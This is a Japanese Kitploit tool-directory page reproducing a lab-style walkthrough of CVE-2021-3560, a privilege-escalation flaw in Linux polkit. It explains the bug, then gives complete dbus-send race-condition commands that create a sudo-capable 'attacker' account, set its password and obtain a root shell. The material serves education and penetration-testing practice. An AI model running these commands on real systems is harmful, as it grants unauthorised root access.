Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Polkit-CVE-2021-3560 — CVE-2021-3560(polkit権限昇格の脆弱性)を悪用するためのステップバイステップガイド。背景、脆弱性の分析、手動での悪用コマンドを含みます。 | Kitploit
ツール/GitHubGitHub/assassinukg/polkit-cve-2021-3560
特権昇格脆弱性分析エクスプロイトペネトレーションテスト学習と教育
GitHubassassinukg/polkit-cve-2021-3560

Polkit-CVE-2021-3560

CVE-2021-3560(polkit権限昇格の脆弱性)を悪用するためのステップバイステップガイド。背景、脆弱性の分析、手動での悪用コマンドを含みます。

リポジトリを見る
2435年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Polkit-CVE-2021-3560

背景

2021年初頭、研究者のKevin Backhouse氏がLinux polkitユーティリティにおいて7年前の特権昇格の脆弱性(以降CVE-2021-3560として指定)を発見しました。幸い、Linuxの各ディストリビューション(および同じディストリビューションの異なるバージョン)は異なるバージョンのソフトウェアを使用しているため、脆弱性があるのは一部のみです。

具体的には、以下の主要なディストリビューションが脆弱でした(他にもあります):

Red Hat Enterprise Linux 8 Fedora 21(以降) Debian Testing("Bullseye") Ubuntu 20.04 LTS("Focal Fossa") 現在はそれぞれのpolkitパッケージの修正版がリリースされているはずですが、これらのディストリビューションに遭遇した場合、しばらく更新されていないとまだ脆弱な可能性があります。

このルームでは特にUbuntu 20.04に焦点を当てます。Canonicalは自社版のpolkit (policykit-1) に対してパッチをリリースしており、そのバージョン番号は 0.105-26ubuntu1.1 です。Focal Fossaのaptリポジトリで利用可能な最後の脆弱なバージョンは 0.105-26ubuntu1 です。したがって、これが表示されれば運が良いかもしれません!

インストールされているpolkitのバージョンを確認するには、apt list --installed | grep policykit-1 を使用できます。

Polkitとは?

ここで当然の疑問は「Polkitとは何か?」です。

PolkitはLinuxの認証システムの一部です。実際には、より高い権限レベルを必要とする操作を実行しようとするとき、ポリシーツールキットを使用して適切な権限を持っているかどうかを判断できます。systemdと統合されており、従来のsudoシステムよりもはるかに設定が柔軟です。実際、「systemdのsudo」と呼ばれることもあります。

脆弱性

  • 攻撃者は、手動でdbusメッセージをaccounts-daemonに送信し、sudo権限を持つ新しいアカウント(または後で新しいユーザーのパスワード設定)の作成を要求します。このメッセージにはdbus-daemonによって一意のIDが割り当てられます。
  • 攻撃者は、polkitがメッセージを受信した後、処理する前にメッセージを強制終了します。これにより、一意のメッセージIDが事実上破壊されます。
  • polkitはdbus-daemonに対して、メッセージを送信したユーザーのユーザーIDを(現在は削除された)メッセージIDを参照して問い合わせます。
  • dbus-daemonはメッセージIDを見つけられません(ステップ2で強制終了したため)。エラーコードで応答することでエラーを処理します。
  • polkitはエラーを誤って処理し、ユーザーIDに0を代入します。つまり、マシンのルートアカウントです。
  • polkitはルートユーザーがアクションを要求したと判断し、要求を無条件に許可します。

悪用

  • 最初のdbusメッセージ
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1

このコマンドは、手動でdbusメッセージをaccountsデーモンに送信し、応答を表示して、"attacker" (string:attacker) という新しいユーザーを作成し、説明を"Pentester Account" (string:"Pentester Account") とし、sudoグループへの所属をtrue(int32:1 フラグで参照)に設定します。

  • 2番目のメッセージ
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUSER_ID org.freedesktop.Accounts.User.SetPassword string:'PASSWORD_HASH' string:'Ask the pentester'

これもdbusメッセージをaccountsデーモンに送信し、指定したID(赤で表示)のユーザーのパスワード変更を要求します。手動で生成する必要のあるパスワードハッシュと、ヒント("Ask the pentester")が必要です。

これは実質的に競合状態であるため、まずコマンドの実行にかかる時間を測定する必要があります。最初のdbusメッセージで試してみましょう: time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1

例:

real 0m0.11s
user 0m0.002s
sys  0m0000s

これは0.011秒、つまり11ミリ秒かかります。この数値はコマンドを実行するたびに多少異なりますが、提供されたマシンでは常にこの程度になります。

コマンドの実行中、おおよそ半分の時点で強制終了する必要があります。提供されたマシンでは通常5ミリ秒でうまくいきます。ただし、これは正確なものではないことに注意してください。スリープ時間を変更したり、成功するまでコマンドを数回実行する必要があるかもしれません。とはいえ、一度有効な時間が見つかれば、一貫して動作するはずです。適切な時間を見つけるのに苦労している場合は、コマンドをbashのforループに入れて、さまざまな時間を素早く試すと効果的です。

試してみましょう。dbusメッセージを送信し、約半分の時点で強制終了します:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!

上記のコマンドの説明:dbusメッセージをバックグラウンドジョブとして送信し(アンパサンドでコマンドをバックグラウンド実行)、その後5ミリ秒スリープし(sleep 0.005s)、前のプロセスを強制終了します($!)。これにより新しいユーザーが正常に作成され、sudoグループに追加されました。

ここで、このインスタンスの新しいユーザーのユーザーIDは1000であることに注意してください。

id attacker

あとはユーザーにパスワードを設定すれば完了です!

ここでパスワードハッシュが必要です。選択したパスワード(Expl01ted)のSha512Cryptハッシュを生成しましょう: openssl passwd -6 Expl01ted

opensslを使用して、タイプ6(SHA512-crypt)のパスワードとプレーンテキストのパスワード(Expl01ted)を生成します。

それでは仕上げましょう!前回5ミリ秒でうまくいったので、ここでも同じで大丈夫でしょう:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
sudo attacker
sudo -l
sudo -s

参考文献

https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#about

ツールをダウンロード